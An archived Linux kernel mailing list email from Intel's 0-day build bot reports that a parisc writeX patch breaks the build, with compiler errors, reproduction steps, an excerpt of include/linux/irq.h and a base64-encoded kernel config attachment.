Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 17 06:55:35 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8IeU-0008UQ-8F
	for glk-linux-kernel-4@m.gmane.org; Tue, 17 Apr 2018 06:55:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751085AbeDQE5j (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 17 Apr 2018 00:57:39 -0400
Original-Received: from mga17.intel.com ([192.55.52.151]:33278 "EHLO mga17.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750738AbeDQE5h (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 17 Apr 2018 00:57:37 -0400
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from orsmga007.jf.intel.com ([10.7.209.58])
  by fmsmga107.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 16 Apr 2018 21:57:36 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.48,462,1517904000"; 
   d="gz'50?scan'50,208,50";a="33920609"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga007.jf.intel.com with ESMTP; 16 Apr 2018 21:57:32 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1f8IgN-000DxI-Us; Tue, 17 Apr 2018 12:57:31 +0800
Content-Disposition: inline
In-Reply-To: <1523916078-23049-2-git-send-email-okaya@codeaurora.org>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2742793 gmane.linux.ports.arm.msm:33946 gmane.linux.ports.arm.kernel:644018 gmane.linux.ports.parisc:28502
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2742793>


--fdj2RfSjLxBAspz7
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Sinan,

Thank you for the patch! Yet something to improve:

[auto build test ERROR on hp-parisc/for-next]
[also build test ERROR on v4.17-rc1 next-20180416]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Sinan-Kaya/parisc-use-the-asm-generic-version-for-writeX/20180417-103119
base:   https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git for-next
config: parisc-c3000_defconfig (attached as .config)
compiler: hppa-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=parisc 

All errors (new ones prefixed by >>):

   In file included from arch/parisc/include/asm/hardirq.h:13:0,
                    from include/linux/hardirq.h:9,
                    from arch/parisc/kernel/asm-offsets.c:34:
   include/linux/irq.h: In function 'irq_reg_writel':
   include/linux/irq.h:1126:3: error: implicit declaration of function 'writel'; did you mean 'iowrite8'? [-Werror=implicit-function-declaration]
      writel(val, gc->reg_base + reg_offset);
      ^~~~~~
      iowrite8
   include/linux/irq.h: In function 'irq_reg_readl':
>> include/linux/irq.h:1135:10: error: implicit declaration of function 'readl'; did you mean 'ioread8'? [-Werror=implicit-function-declaration]
      return readl(gc->reg_base + reg_offset);
             ^~~~~
             ioread8
   cc1: some warnings being treated as errors
   make[2]: *** [arch/parisc/kernel/asm-offsets.s] Error 1
   make[2]: Target '__build' not remade because of errors.
   make[1]: *** [prepare0] Error 2
   make[1]: Target 'prepare' not remade because of errors.
   make: *** [sub-make] Error 2

vim +1135 include/linux/irq.h

7d828062 Thomas Gleixner 2011-04-03  1109  
ebf9ff75 Boris Brezillon 2016-09-13  1110  /*
ebf9ff75 Boris Brezillon 2016-09-13  1111   * The irqsave variants are for usage in non interrupt code. Do not use
ebf9ff75 Boris Brezillon 2016-09-13  1112   * them in irq_chip callbacks. Use irq_gc_lock() instead.
ebf9ff75 Boris Brezillon 2016-09-13  1113   */
ebf9ff75 Boris Brezillon 2016-09-13  1114  #define irq_gc_lock_irqsave(gc, flags)	\
ebf9ff75 Boris Brezillon 2016-09-13  1115  	raw_spin_lock_irqsave(&(gc)->lock, flags)
ebf9ff75 Boris Brezillon 2016-09-13  1116  
ebf9ff75 Boris Brezillon 2016-09-13  1117  #define irq_gc_unlock_irqrestore(gc, flags)	\
ebf9ff75 Boris Brezillon 2016-09-13  1118  	raw_spin_unlock_irqrestore(&(gc)->lock, flags)
ebf9ff75 Boris Brezillon 2016-09-13  1119  
332fd7c4 Kevin Cernekee  2014-11-06  1120  static inline void irq_reg_writel(struct irq_chip_generic *gc,
332fd7c4 Kevin Cernekee  2014-11-06  1121  				  u32 val, int reg_offset)
332fd7c4 Kevin Cernekee  2014-11-06  1122  {
2b280376 Kevin Cernekee  2014-11-06  1123  	if (gc->reg_writel)
2b280376 Kevin Cernekee  2014-11-06  1124  		gc->reg_writel(val, gc->reg_base + reg_offset);
2b280376 Kevin Cernekee  2014-11-06  1125  	else
332fd7c4 Kevin Cernekee  2014-11-06 @1126  		writel(val, gc->reg_base + reg_offset);
332fd7c4 Kevin Cernekee  2014-11-06  1127  }
332fd7c4 Kevin Cernekee  2014-11-06  1128  
332fd7c4 Kevin Cernekee  2014-11-06  1129  static inline u32 irq_reg_readl(struct irq_chip_generic *gc,
332fd7c4 Kevin Cernekee  2014-11-06  1130  				int reg_offset)
332fd7c4 Kevin Cernekee  2014-11-06  1131  {
2b280376 Kevin Cernekee  2014-11-06  1132  	if (gc->reg_readl)
2b280376 Kevin Cernekee  2014-11-06  1133  		return gc->reg_readl(gc->reg_base + reg_offset);
2b280376 Kevin Cernekee  2014-11-06  1134  	else
332fd7c4 Kevin Cernekee  2014-11-06 @1135  		return readl(gc->reg_base + reg_offset);
332fd7c4 Kevin Cernekee  2014-11-06  1136  }
332fd7c4 Kevin Cernekee  2014-11-06  1137  

:::::: The code at line 1135 was first introduced by commit
:::::: 332fd7c4fef5f3b166e93decb07fd69eb24f7998 genirq: Generic chip: Change irq_reg_{readl,writel} arguments

:::::: TO: Kevin Cernekee <cernekee@gmail.com>
:::::: CC: Jason Cooper <jason@lakedaemon.net>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--fdj2RfSjLxBAspz7
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

H4sICFV71VoAAy5jb25maWcAlDxdc+K4su/nV7hmq27NVu3uBJJhknsrD0KWQQd/RZKB5MXF
JMwMtQnkANmd/fe3W7axZCTn3qqdDahbUkvq75b45V+/BOTtuHtZHTePq+fnf4Lv6+16vzqu
n4Jvm+f1/wRhFqSZCljI1R+AHG+2bz8/va72m8NjcPXHYPTHRTBb77fr54Dutt8239+g82a3
/dcv/6JZGvFJmRPBJb39p/lO86Icw1+WhpykbXuSFO0XqQidlRORLWSRt81iIVlSTljKBKel
zHkaZ3TWwhvIuJicN04XjE+m6hxASczHgihWhiwm9x0qlCCUlUBGngmjc8pYWIYJKROSI6Ji
HZicaHDM0omatrB8osg4ZtA+Z7G8HZ7mupfNJLKcFhOm4nEk235c3JWLTBiLHRc8DhVPWMmW
1ZiyohD2/pdgos/xOTisj2+v7WmMRTZjaZmlpUyMjeUpV3Ai85KISRnzhKvbyxNpVGRSljRL
ch6z2w8fYPQGUrWVikkVbA7BdnfECZuOcDgknjMheZZa/UxASQqVOTpPyZyVMyZSFpeTB24Q
a0LGABm6QfFDQtyQ5YOvR+YDXLUAm6bTmkyCzOV0EZCsPvjyob931g++cmxlyCJSxKqcZlKl
JIEz/Ljdbde/fjgx34IY+wusOOc5PWvAv1TF5qLzTPJlmdwVrGCOiSvOSViSifuSKBCnqdm7
kAwkz7keUoDC8XEFEXRaYSBFJI4bpgchCQ5vXw//HI7rl5bpG0FHGcpFNmYmESYwZKA5IumY
96QrUOGA6KZKNpOqzct6f3DNO30oc+iVhZyaM6YZQngYM+fSNdgJmYL+KgWTJUq9sMjUlIBq
/aRWhz+DI5AUrLZPweG4Oh6C1ePj7m173Gy/t7QpDgoWdTGhNCtSxdOJSeNYhrhVlMH5AYZy
0qOInKHqO6dE0CKQ5xsCs9yXADNngq+gwGCfXMctK2Szu92klSDYk3Ro8CufVR/OW/Sa2uY4
wxGiUk55pG4Ho5OSFjxVs1KSiHVxLrscIekUtD2tDVGrGsF4Fbl0nzDIoMzBrLjB1YioFvUY
bpx7GUng11wwCrYndCIJNGeOXR3HM+g611pfhLYVECSBgWVWCKp1fTNU2FHC0NDRvdBiq1xo
MDWthmed74ZepbTMcuBs/sDKKBMoOvAnISm15LWLJuGDi3MaXdUolBRMDU+zkElLsQESsB9l
MCQgaGN/Btf6pkjBTZiAuYrjbGEwYB61Xyo+Nnwa0LoctJwwhgTLnoDclK3qso60bTbPGqmo
IY61RlOSgjYxnAytlistYbRqrjZlx5AQFkdgzoUxyJhI2OHCJDEqFFt2vpY5N0bJM2tJsGEk
jkJThIEms0HrUrNBTsFeGOfGDZYh4ZwDUfVOGEuDLmMiBNc73bLKlNFZnsGqUWsqWJ1j82Y4
0n1iDNa0lNbxnFr1vqBoKT63OBNYwXVIprkT2hBHbnGFNbAwtGXZNHsoEOXJ9rQ2mA4urs40
cO2U5+v9t93+ZbV9XAfsr/UWrAEBu0DRHoDVMtx09+DaIlZAIL+cJ8j+1EHhPKl6l9qaWHyH
XiJR4HoavCdjMrZ4PC7cjoCMs7FLvKE/nLqYsMa7sUcDaCQYuBcSzh6kI0scg4AxiHhcWb66
Kava2O2LtfWnZts91IpB64xpljniEPCxtZ0v1VQwYjC57qiHSBNe2Rma5Es6nbhmkIziHpZA
gbJ0iadd90yysO6dM8ojbpg9ABUxuBF4oij3yMxntMkKpPcOVKyLLkAyIhswgSkD6aCzBRGh
7AwIXg3Npkwgi+iwKTFdTnREAINFQCdHlCjqDoAUSQW7qhpnVywMXeQCGYYw0myp1dmZqExo
Nv/96+oAMe+fldS87ncQ/Vb+UusoAlo9voOXhAJtD+rQNC9aU0gUmduLzt6b1FVNaMwouhvE
pQBqnCJFePck664noDlyHWW5PY26O7hUp2DMo7saTD7pAyM3gqZ1TwYHlACNwHRhOUNN6l0m
OLggu7AV2azoBqlAIJo3ycemNI7tPEA8DklkQsHcUsmBDyBSkcqGoCc0lhNnI4QnloY/OU6K
TQRX986FNlgPIA9uTY8YNAlB9TDMj4Bd8KItxi6/uJoCVXMkuwTi/mY5OefzfLU/bjA5E6h/
XtcHk7eBCMW1BwQmFj0uJw/KMJMtqmHDI+5qRmISiLgoP8VnWSAff6yf3p4t28OzyuVNs8w8
7ro1BM2JO3UOodGdbauqMLfp0BMJe3oiAT296nlvPzx++8/JM4YV+ik1gLP7se2dNIBxdOeY
k6eaOzDHpQUbojWIUE1h0HA0KzW8D+bsuwAOZr7OJrDuXTHRfve4Phx2++AITKSDzG/r1fFt
32WoLxcXF06uBtDg4iKmPuDQ3++y2+8Eul5eXBieLhma30D9M2WnHhIwVhPtRDrnGl2NnemH
KpkJfyZMBx7l1cxSEGfwwWjm9mvOMEdXM5ejU+NJNMZsib6G7ekkLoaF89K5y64NjcBpBVe5
ZCmp1GdLDijcJEcJcMpNA55nMZhRIu4dfd0pi4dyYJ9nCxh+vjCHgZZLz9FXo7iHuYVhTgFJ
tT4jQoGGEoM+jBBKy+WonCTwuW32By9knGX2KDKPwfLkSssCuCry9srybamt9xI+EcRumnPw
DxQMXVjqeiZdbmmjbtBFgsFQJ4fi9uriZmQd5ilbXOfXIsLjQlinakMcU+lMNXj32gGbJVbw
FDMwBARUlPNIIpFBqLAg7vQE9eQ4H/IsczsYD+PCbSsfpDfmSMiyrhRoCUrGt9cXhn5Fx1vL
F0rNDNx8tyAygYs/y2O1fl+Rl2OW0mlCxMxBhU5E6iNpdOT47RDsXtHSHoKPYP5+C3KaUE5+
CxiX8P+JpL8F8OlXy72UTs2mjacR63GGhw585F4M5WCmuXug8q7gYtaJHXnlR3hHk8oTmCGQ
Z3MvLBfcDyOSu097mqk8LjTWeXpz9bTGOBZg6+Bxtz3ud8/PVer19XW3h1EqvHB92HzfLlZ7
jQqxLnyQNgq2/9gdjsYwwdN+81fllpxQ2PbpdbfZHi3LBvSzNNRphXMXCzod/t4cH3+4R7a3
dgH/cTBMinmOHhxZYrk9JDfjOJ4lCXCujYNNUxbntrORUwpB2Tm95Hc0L8Hhdf24+bZ5NEht
dF+hU9hGqAaBmOSyjGlYxswKN/KQNmDXelpoCRGioR0RIlVtkjRd7Of68e24+vq81mXIQOcw
jgZZY55GicIQ1Uph2Rks/FaGBUTIjUpFKzoFt8jKT9RjSSp4bhnXGpBwp2ji6Di4YTuYVSAE
hzGdYDjUrCpdH//e7f+EuLJRD2aZlM6YNXvVUoacTByzFym3Qlz8fobbxl6x60SWkTCsHH6D
8GqStbkP3aTzly/tWLpRFmMIw2JO3SGQxqnsoNt8VIOAzuVSceojruQ5GtiWINzUGbs3yamb
XLOdPFrzXHhepWUpkdZ2Q3sT+5Qig1BeuIbKyzzNO92gpQyn1OmIVVD0KFy9BBFu+6mZJ+d9
wAnyNkuKpdOsI0apijRlcWfeRC/OU1RIgauzGfcUJqph58qt2BEaZUUfrCXKPQGeVEmmfhiT
7i3hFWnILB4GaDfDbKz4FP1D8BFSaZf4uxj9A4yZLb4a7BdImsNWp5O+ePuEQ4uxqfYbZdbA
IR59+7p5/GCPnoSfO9maEw/MRzZPzEc1x+tQyb3BiFTVXVBgy5C47TeuetR3hKPuGVqwk7zb
Eyc8H/nJ4jHxDqjPpz65Fxvkbn2XI0bvsMToHZ4w4XrX62qWjhj8i+xInQmSXJ2dJ7SVI+Hi
Kg1OQwwqMTBS97mZWUHgaWM6h4BaM8dkNlpqjwBrRL+GqWhjk1EZL6pp3kEDp9udKICdxOsw
mAP3+OUof7kCEYnR54iskLXpnU/vdUkKLFGSdyKEFrWbXz81naS3sfDa1wQzD07LERw/z5Wo
tn/rIJik1UD4FPN05q+/n6OeXcTowY0zt2pKsRCYpjpo8iFgURzGCZnb/weMHiZpSVn2shKc
rXvdAJqf3zng+X/3bL1Jm8y0ZwVcduUjP4Sgrw+OG+A13hW4r7tg/2a0hwJYIWCBO9q7P4AC
NJzj1Nvx1+j/vyFuNdtuiBfersiLUm+KT5OP/i9LDin1eADALlS5YSL0VCTA3DgBRCXO9njo
mWEseDhx+Z5VjQ89AUk6Uo5NzsHmMUnL64vh4M4JDhlNPYIRx9R994woEruFeTn87B6K5J64
f5r5ph/F2SInHiPGGMM1ffbIBFPVvRf3kqmbljEcFNE1Cyc4y1k6r0Js90ZXfO/VUlpNel24
JPd4sbiWVLqnnEp3qUevX1Pq1amAEV+WCYQtoDn7sFLqzAAhSCwxBXlf2tc0xndxJ0QNjuuD
fV9MW9OZmrDUdAymJBEk5O47idTDCmM39xBQIkvhk8ionFFXsnTBBYs7JpRGE2S1wXkGqQFs
1+unQ3DcBV/XwXqLeYYnzDEE4G1ohHbdTQsGq7rgXWUdsSJu5BoXHFrduieacU9NFbf0xpM/
Jdzth1OWT0vfpck08hRVJHg3vtuGqPcjN8zlozUSKVWpk8PGpQeRAXnVtRxbz7E5SpIzgXuv
LyHUGA0Thuu/No/rILQTcvpG8+axbg6ybgalqO6fnHJfruYyJ2p6++HT4etm++nH7vj6/Pb9
QxtXzVWSmxcPmhbw1ovUrrsokoYk7lRL2h0X1awRF8mCQKSu7yk6diBa6Iq/SbCu8px6Wvem
T9g6KdOsKSJxPO44a43Y4GU1XYw2slWGJcEKcij43FOArhHYXHgscoWA17/rYcAPSLK5e1M0
GpH3KW2Q9WVcB9mn27Z5gbNzyk45NMytP2n+sPKp6LGC/5G515Eot13JIteeYXElwacC9bUr
rNKJOhA0snO6ydG/Lv+77g2kRRzjF1c2MRRZ4uqDKX8pQ1gDzy+HS7eWaZBDQm9GrjpZg1Bg
Yeul2xpbhXezVdef9N2Z2+sunIr7XGW674uDFDH2X37Qm/EOXC6ve+GCuJ00vZNoq2g4d88A
3lCZIf8x5bbSpyneIVFI+zwqEzpPmFFvOF83wp2qGAClrcJ1/wTf2jh4HsQ5ucdar8dPI6nK
3FskJ1i7oW5XTPEo0erCCWUpjTNZgEoDDaQl0+3nQLQQu90C6Ts4s7Jy9qSkPd5hV+6qigED
ZZIYpaCWYg0pby7p0h160PGXwcXZiqu7/eufq0PAt4fj/u1F3548/FjtwVk47lfbA84UPG+2
6+AJjmjzih8ba0Uw6FoFUT4hwbfN/uVvLEc97f7ePu9WT8HLDu/ABB/36/+8bfZrmGJIf226
8u1x/RwknAb/FezXz/oxVqfE1aKgPqwsYgOTFHyH8+Z5ljta24GmWA7zAelq/+Saxou/ez3d
E5FHWEGQrLar72vcw+AjzWTya9e8I32n4drDo1M3F2FRphRKLrulQgdGIV03K7Ry56GZ/QpP
Baj8eb06rAEd3JDdoz57HTh/2jyt8d8fx59H7TH+WD+/ftpsv+2C3TaAAaoKmnm5KWTlMgJl
gxk/ay7UQzl36XwESoC60ncAmoT2OJMQh7JygKfW3BUKGPPQ8Fzx6+YSFOQ4wxuiQmTi7JZZ
jQcTeDJ9mB7Fe+6gZ5TLg0QEfI1R3WCr+Ae27/HH5hWwGob/9PXt+7fNT1vxnUxjTBQ+Eehf
Id42lVF0OllgF2Mis3p83rcqv7cU6+I15RBDlZkI7RJr0612XnoNB+Z8R8PB+4R36v8NlDA6
es8XIDEffF5e9uMk4Zerd8ahSTi66kdRgkcx68eZ5upy5FbADcq/QXUITxL8dOac98/D1fXg
izsLYqAMB/0bo1FcpbWTFZfXX64Gn50eW0iHF3A6ZRb3uw8nxJQt+l2h+WLmtrMnDA4R6MQt
iiecmN5csHfOQIlkeOO+hdWgzDm5HtLlO2yj6PWIXly8z+ONYOIN3drNOZdJfX0XNKh1q5tw
VHFKuMrH2MG4wYXdq7laP0QPedeU0zxjdHWUprImr7oC+RGM/5+/BcfV6/q3gIa/g7Px67ky
kYaepVNRtVkRRdOaSedj2tNATqUjBejrNMxcRevTdBPXdNKTHNOLh88Y6XpSZBolziYT390q
jSAppugw7Dtzr/RmqsaVOnSOW+a8Ot6zU4to77mXXP+/6vvSJYfI887nKDEfw58eHJH30wCB
t37jbZllDVG+FLaG4l2B6i1Yz7EsJ+PLCr8f6eo9pHG6HPbgjNmwB1jz3uWiBGWw1PLon2ma
e9LdGgpj3Pg0SoPQex6ke7+pAya0nzzC6ZdeAhDh5h2EG58trXTNvHcFybxIek4qzFXJh56Q
Ss+PtUhgnB4MQRNP/lnDGdA39GRQ2IRofQumChycfpwYPnguBp1w+rcCfIX3EIb94pkQofK7
nv0sIjmlvfyqeOZ5fKtnSD0+Xm1rlpeDm0HP+NzzOLgCpviWohdOBp7L0hV1irm8lwp2n3y+
pNcgscOOhWwh6HvitWMmJSj3Kna58OE291HIRBqPqDtYmDbXGKMrH0ai7xnaC7kD+8JpORhe
96z2LibvKbqQXt58/tkjG0jFzRd3SkRjpDK/dPuVGrwIvwxuvHuuE6VntihP3tFKeXLdcaE6
q+qx3ZkMKz4ivrSoO8JMHBGh2ZZUb9Mh9mNUWc34cIQIqwmXd3HWMrAuqddt7vOtoVef3W4r
gKt7KcSTygMEzZ2ep1pnF9w7Cw8TnbpXPD3flDAxDxQw3c6kiXF217oFjYuIZ50Bq/S6fqEA
8pOCgy/wt1O8d9lDfGCHLyFz54UyAOucbZsAhhaZklxOM9WZWk15ir7vnOO7wJ4J/U8EAMiE
i8NwqzhmFTpz4gUBLGzo30bwDdkVmBbywERmLe3EGd1zatpBcfimaXE8eUh9PJ3fV7AOQleA
fNAoJjPm7Ttn3seFeGL+ina9ifrxlqdik7zzelERMWHqLB1aQ6NCWg9bqu/oqpt73LQSl3dc
A3UZdcJuQbN3IPi7DeeDOeKMKmnEGAsGlzdXwcdos18v4N+vrjRwxAXDYrFz0Q2wTDPp+sWM
6q5TXYdqNAvn9sXkzs8nZGmIT8tbhsR0vbkwdleQmD94am/6yqz37lupmCeLnhCKF0jcEUbu
Bc2XPggMKJmXEIwQs9jFKqqwrgrA13Kut0n/KJCnHD33lWTSOPFkhsCr7VxIqY4dS+htmr7z
uiPcHI77zdc3zK3L6sEG2T/+2BzXj/iW8fwdBNCFT787F/yrmLu8pHbtbp4J5UmHqft8mtkr
OR+PhCQH62oOWTdh4VlE3POYqx0ALIX1EoypwaUzn2V2iiFIAsVhv5SUMaeZdAmy1VUxUy2A
/gb32Dz+qqXMEg68yyf4Yyzu08SLgaRU8r0VJuTBnNECWWki+Ho9GAy8xb4c2cf27Bxjgqym
4Eq5JxTU3Y48k1npC6Ji3w2t2O3nIcAtKwjx3Jb5X8aupLlxXEnf51c4+tTv0K8tWZLlmXgH
iIQkWNxMgBJVF4W7ytXlGC8VXiKm/v1kAqQEkJlUH2oRvgQIgkAikcgloSef37cK9l9qc7ZL
VMSyE3YHuAB1ieK1uChzEXcWwmJCC9SodiCBqHOqalcNzpir4JoZWmAUkFlN6c/CnuIbBh3N
uLFo6kRiq6qU/Mwg/yQ6PLo0RQdDf9MjTCuhjzA9eCd4S9kv+D2DQ1HQL0kPr18FWJfKAkVp
3GGv/Uqx7CwAUyV+sKhYjkeXk9rbC13BIdZeaIy2krdlJOiwsqOusBqsc2R0pVnn1uv0JnJS
0+aOO5Xhhn2YT+hjSJzejC7pKQuPnI5nZ3hr3Ng3nRpMxrRBpq6yGG3Kh9uTIJ/KwAFsIcdn
v5P8Eq1VQU5iWYtAsazHjP5hW5OGrl5T6+AjrgvaAdyvUImdVGS3UFb1LBUltHWaRfjrMpCo
sIC5j1zRNnNQvmVcXmquCgDMQyaXZ8ZGzcfTOvhut+mZKqkotzKMCJZuU87oUm+YWyC92Z/Z
41J4isjyoHdpUk8OnL4vqae8oQigejcIL3dn+qOiMtSfb/R8Ph1BXfrYttFf5vNJzyKAaHlf
Bteq+Ht0yQzcUookO7O8MwECSxq02RTR+7CeX83HZ1YF/LfMszyV5MLI6PUyv7oJgipkcrw5
Px7ZVsUq4Pk2olDcEZn6FfNN8M5ATzrqW+Nh584qs5WLkHJiECDKAVsiB2ov0YBxqc7Iy05J
6Dd6l4grTp1/l3SlDA9iJgE8rJbZga1H6lv8HsJRD2SjQDi6gwJg5IyDU5meZeelRGk52Fbm
cBJmrpcQMjnNNcr5aHZz7mEZ3g+Qs66Mg8EvZ5eTM5O7RMv7kmxMixT2wOCuUiPH7QrwRE0p
7+gmVWJDTXsK0pvx5RV1Nx3UCm8elb7hVO5Kj27OvDGckuHkBn+Cya+ZIz6Uo11vdO6kqFMd
DL0sVMReDADtzWjE3FAhODnHk3QeqTyTNX0M1sYacIR20ilM8H/w6aos5AlFsU+loPk8Tg/J
GH+ir1/GcF1VDXfCyHVlAobmSs7UCmuoQ1TAxicYBYfpqFn67W1DTgw/D+VaMYbmiIJ0AJ/F
MHqrttmd+pKF3qiu5LCbchPmSHB1ToLT+ywv9D4MHbmLDnWy4vjbMo7pzwQSKmm0hiJPYw1+
EgFtIUbV8aRAV6bMQpAOncV6j2HdnhvjWqUuoKQ1PCFCdYg0xjr0QbtRC/AEZn55VbPwIkrx
1nkIn18P4c2ZmyWIFJx0+e41pz0Wj+HUO9R8XKAgMx7GJ/NhfHbN4ktVS370VVQkleZhPDsc
6p3YsyQJ3nqb0eVoFPE0tWGxRjY/i4NwydNYMXcQzvHYNkyBsiZLkVnncsE/5G6weiNnDOBW
NOBx2OwH3wA3Hx40cKyraZkGdYXAhlTEP3yLVyFasniNEWDrwwoYwbjEvymWUXgxSOAHhkcP
A5NgYSwx3Jj0WREWO19nWvUIcFowFrQWxFsoxnkK8FyGPbBWVmGRdbcxJrh40ImiQjDoZO1V
rvTCeW9ZV52AsyMUCUPzdQQ3cJ5ntK0IF3IlNBPBCvHSJPPRlN6TTjijjQEcttjrOSP8Iw5/
OBdWhFWxpuWVXUeKbH0PD7uY0o8j+UmjnzpJncJMoHDHO0c+JhegU+5EFzaa+ooTH/IUtQTa
6gwJqKOM6UIliNmBEJdrw8SHK0ql09AVmGj0pPmgQAlHVnZMS9Eo3CjseGyiQN9s1Af8sLF+
uWHov+xj/7TkQ1ZokFl2NH2V1gX1YveIXqS/98NE/QtdVdEX4eNHS0UIKjvuai+t8YaDO9eC
SKUVLU0rHdNNZtugQuP98fPzgzXgVVlRdWKhQMFhucQghQkXM9gRobcy5/DsKLSNortJmenm
iFJhSlV3iWzfq/eHtyeMZfqIYdG/33c8rZr6OcYuHuzHbb4fJpDbc3hn4XtD23OLDWpu5H6R
izK4+mrLgBtsGFe2I0myOUuSyZ1hLmGPNOhzj0o/+nseybTJd2LHWE+cqKrsbKfq7qv1v1mg
6sOCQ6Hp3cOhWpaKOXo6AjidJtLkFWOF4YhAdp9yBmWOYqtB9he0VWzTk30mCivedHyY+vMO
wzLRNwqOxMbVYOKpOAJ8Hw2yKKPubQa0EwzP01epCe1Et75/+2bd39Sf+UXX0NsGF3wOfuLf
1t3WF1ksANte58sFMBzrAO5XKwXtXuHQ5saZmxLNk/U45ey6mmbKiG2jsiQktBKpJB0aox/3
b/dfMXLLyfWzlXqNl6Rs6+1LkTPGcKGrEiv0a5+yJTiVrXf9MqA7FWMQxDhIkYCRBm/gSGf2
XtvO5JctbFyIx9NZOGxwJMmci0HMmW9n+ZecU6MfVpreuJqkbbTgDBzYhfc9HUPldpPK/pam
H94e75+IoJiu61KUyT7yrRAaYO5CG/cLvYw91gfMfZ/ukFjKJYpUVPd9ot6388HAec0Hmrs+
AsnKQyVKo708Rz5cYqKoVDY0E7ptkGxiGdPtpyLD4COl0TSu16KUTbhxclSc1Snr9Bx0lvM3
8JvjGcOxGTOezxmdqf9meS168yd7ffkDUSixE8laIhG2aU1DOKyJYkKn2fCprLFV00JoguYV
ejOl+9RbZg01sI6ijDl9NxQNA701YoVv8A9Iz5KVjFbcwSWTYa+Blzo5JMW5Z9gMD8whFBhs
ky2J3gmLVB1cziX6XA/ss5905rRTXt3MaLEA5QrUtxEfGPaw5ijuWSCK2pWDBB/yVhPBn4IO
Lr7thrKoVZLsO0PhxM5xRM1WLCYHlrG60AXDv9d0pOpChyoUPXAczkyBFL2uY9nXp0fnst9/
BWw0SmymmY1NScVoYI5USczJPR7Rqgg3+WNPmqSqr/1Y1YUpoJ+vX/+3f2LC2IWj6Xze5JZ7
Do6KTolt0y+wsQy9M+P9t2828wfwIPu0938Ho6GyyJS0wIvvxMUb2tHWTUW+w9CIW3ptORQO
CIww6nAMbp/Qp4P1jrMERXO7lBHcdwJja+XUhYBGldQppcxp3pJhA0CsFyT5ohP03l0vfD59
PH7/fPlq867wlwzpMj7ESUbztbWJbMj0iD7DJ0V0UMxRBDHOwxOfeSuyL4cozTlzEqTZyLRg
PJkRTs3s6uaahbeqwEACnHiHJGUcXY2Ze0nEdTplnGDEop5e9mN3hLX3OmImDMIGfX+urqb1
wehIxPQity9Sz6e08VgpV1XCetmU0UD/UInVZnLoTZ7V2/3PH49fSQ4mVpQKd7sSsHkuPFne
FditYoWZK0beLhGXfZFXRMXF7+Lz2+PrRfR6TPbyr174SEecxhfJ419v92+/Lt5ePz8eXx6O
FtbLt/vnh4u/Pr9/hyNM3D3CLIO0KccwWTAcZJSsRZsuyfM8WMDRwLi4rh4Z/FnCflYGvkkN
EOXFHp4ieoD1nV8kYRxdbAm+G+Z8dLmqyS8IVDaUr4vFRbM8oDEqsQ8wlAtDMFQ/2tMywSWw
u6osGakF0CKlOQhWxPxDYy4pDxAAg0ngLWmubAdJG8ogBSAd3oFDybAaCKuM4hFroYPf1pok
cSgIQiymrhkbTvxUwpQ5+8xSxJLhFDg+Zj8a0yGpHMq+Ks22ERFbLmgDooodvUzmMGUVc7O+
OGz2Jc3PAbuKl+wIbPM8znOa1yJs5rMx+zamVDHn8oQjVNLStJ22bKORKFPO+AHHKNVRxb9P
FdPSAE6TRXpY1WYy5VcEZu2pGHkCJ1NroMcSLOZslBaA7T2MXktGEMIhq/LDZnRzyTahFRvY
0Q7O9YiJhCKiTWJD3GEaD27/AZ7//vpko1v9fLr/1XCkvqTqApFFXV1EUAz/JlWa4QZ0SROU
+c53Dl6WIgWxf4mhk4jDKwG3ygE4uaWiZJYjUa3MTS/4eisCGtV/ryRfBTZO+Bt9X6satoKM
XnceDWzJI9qZ1SOKksqMx9QFmSVqsoI1VN6JP68yX/XS+eHS74ZFRZSGBVretWY2vjAMCAi9
aHdOjZNr6Nh+UC3eZyJVEYYSzOl4GdlxDmLMnIPwUwrbpo8xWLzCNj4VgmEWxBBlj/G2b4xD
rm3CxdrtjU6FvjG9t7TDhhOaaU1EN9cwlwJXCduD/v26Le42FaAiybnYBNhxEKcUY12FeGoK
QV9CuRdxyqjRbMrcwds2imrCeaa3b9sc5cSW1FjZKdP50CIezec33bGA1ak4FdQRtmIYo8lC
omo+Z1zMW3g8DF8NwDtGIQXYwsyvGfUhoJG4HF3S3MDCqeLC29kFWe+5YBy2tp6M5/w3AnjG
xStB2NRL/tGxKBMxMGIrlQ3BidgPVnfNM9EY2uZ52DXP48CnGeUwgozciRjGI7xigh1lGG8h
